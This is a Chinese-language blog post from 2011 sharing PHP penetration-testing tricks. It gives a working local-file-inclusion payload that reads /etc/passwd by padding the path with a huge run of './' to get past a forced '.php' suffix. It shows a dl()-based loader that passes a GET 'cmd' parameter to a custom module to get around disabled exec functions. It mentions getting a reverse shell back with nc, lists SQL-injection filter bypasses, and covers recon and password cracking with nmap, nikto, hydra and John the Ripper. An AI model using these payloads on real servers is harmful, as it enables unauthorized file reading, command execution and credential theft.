Author:LengF Time:2011-06-24
最近作得一些測試,應到的一些技巧總結,方便本身學習。你以爲有用就撿走吧!
技巧一:PHP中的文件包含漏洞利用
遇到相似於下面類型包含
<?php
include ($_GET[p].".php");
?>
若是allow_url_include=On我就不說了,是OFF的話就是LFI了。那麼有些人說這個除了利用源碼系統的自身問題來包含可執行文件(在文章PHP安全之LFI漏洞GetShell大閱兵講到的最後一種方法)。可是若是這個系統不是開源你並不知道具體怎麼利用?或者是這個系統根本沒有這種類型的利用方式?我想說的就是這種方式的文件讀取技巧。假如上面代碼保存成lfi.php那麼咱們能夠這樣方式來讀取,咱們以Linux下的/etc/passwd文件爲例,咱們能夠經過下面代碼:
lfi.php?p=invalid../../../../../../../../../../etc/passwd/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.
這種方式後面的././後面的個數依賴於你的目標系統支持的路徑的最大長度,能夠自行驗證來利用,經過這個能夠作到你想讀取包含什麼文件格式均可以了。就不必定是php了。固然有些人會說你能夠截斷%00,沒有,有時候能夠,不過我也在另一篇文章中提到php>=5.3.4中截斷的bug已經修復了。我也正是遇到了沒法截斷纔想到了這種思路。固然LFI還有其餘的應用,具體請閱讀PHP安全之LFI漏洞GETSHELL大閱兵。還有其餘的方法也能夠,好比,經過無數個/////只要個數大於文件路徑的最大長度後面的就會被拋棄了。
技巧二:關於另類執行命令方法
這裏技巧是關於php再禁用各類函數的狀況下如何來執行命令方法。不過有時候比較雞肋。朋友人間空氣丟我一個shell,我看了一下,啥都幹不了除了能修改本身web下的文件,我一下在有點傻了。不過朋友Tm3yShell7跟我說還有另一種思路可以實現php執行命令,發我一個php函數dl(),呵呵,樂了一下(不懂裝懂永是飯桶)趕忙baidu找資料。
利用這個的前提是php.ini中enable_d=on(在PHP5.2.5默認開啓),那麼咱們就能夠經過咱們自定義的.so(linux)或者.dll(windows下)來執行命令了。由於不少默認的shell都是利用php的一些系統函數還執行命令的,好比最多見的system,exec,passthru,shell_exec,proc_open。至因而否被禁用,咱們能夠經過下面簡單幾句php代碼來查看:
<?php
function showdisablefunctions() {
if ($disablefunc=@ini_get("disable_functions")){ return $disablefunc; }
else { return "NULL"; }
}
echo "Disabled Functions:".showdisablefunctions();
?>
這個函數會輸出系統全部被禁用,若是輸入NULL,那就思路更多了。爲何要先查看被禁用的php函數?由於它關係着咱們so或者dll文件編寫時候的應用技巧了。因此有時候每每須要根據不一樣環境編譯除不懂的so或者dll模塊來加載。那麼如何執行和加載這個模塊,咱們看下在寫一個動態加載的code(先上傳你的so模塊到這個文件的同一目錄)
dl('php5.so'); // 這個編譯好的模塊名稱
spiderbiguan($_GET['cmd'].' >/tmp/log.txt 2>&1'); // 這個導出函數的調用
這裏我提供一個經常使用的,不過功能還不是很強。對於Linux下php的模塊編程還在學習中,期待你們分享好用模塊調用。(下載地址在最後)
至於如何編寫so文件,我找一些參考資料放在參考文檔中,固然了php官方的最好了。
利用這個方法,我實現了nc反彈回來(沒使用前利用shell自帶的沒法執行,不過最關鍵仍是依賴於perl的支持,利用的是nc.pl版)至於後面的溢出發現權限很BT,不過回頭還得看看。
技巧三:繞過防注入思路
繞過防注入一直也是你們關注的話題。最多見的思路有
1.大小寫混寫
2.編碼語句,利用php的函數
3./**/或者/*!*/
這個不許備總結,根據經驗你們實驗就知道了。多看看php的官方文檔,不要忽略老bug。
技巧四:倒插門的信息收集原本這個技巧不屬於php的,適用於任何的***過程,因此是倒插門的。呵呵,Linux下安全檢測工具比Window的工具會讓不熟悉的Linux的朋友畏懼,但是你畏懼了,你是喪失了一大堆好工具了。我經常使用利用Linux的平臺的幾個小工具實現強大的信息收集:1.nmap掃描這個工具功能參數不少,我只提一個,也是我經常使用的,nmap -O ip 能夠獲得系統的類型和開放端口及對應的服務,收集這些主要爲了後面檢測提供一個更加廣闊的思路,不至於因爲忽略了某個漏洞致使***失敗。2.nikto檢測這款工具每每能夠給你找出一些你手動很難找到的目錄,他能夠經過網絡上多種方式的掃描,比wwwscan強,由於wwwscan是基於字典,而這款工具他會收羅網站中任意一個文檔的文件,相似於蜘蛛,固然他不是簡單的url遍歷,還會查看文件的內容。同時,在進行一些已知漏洞掃描的時候更是強大,提供完整的漏洞文件編號,這樣不會漏洞沒一個可能的細節。結合我親身的感覺,我當時忽略了一個apache的遠程溢出致使最後搞了半天,才後悔莫及。不過不幸的是這些漏洞參考資料都是EN的,須要你們去理解和利用漏洞,每每並非想象的那麼簡單,有時候須要你本身對一些exp作寫小改動(要求有編程功底)。3.hydra和JTR的爆破關於hydra我以前寫過一個使用筆記http://www.81sec.com/read.php?83,我就很少說了。JTR(Johnn the Ripper)的利用,對於一些HASH的爆破或者字典破解,關鍵在於效率。另外我不得不提兩個mysql的hash爆破工具,sqlc.exe和mysqlfast.exe 這兩個效率至關不錯。結尾:斷斷續續扯了不少,僅當筆記方便本身,分享與你們,有用你就撿走。我的的見識仍是短淺,本文拋磚引玉,期待你們的分享深刻的研究文章。[參考文檔]【1】http://blog.163.com/chenzhenhua_007/blog/static/128492649201061731324244/【2】http://blog.csdn.net/taft/archive/2006/02/10/596291.aspx【3】http://www.hackbase.com/tech/2009-10-24/57290.html[重點詳細看]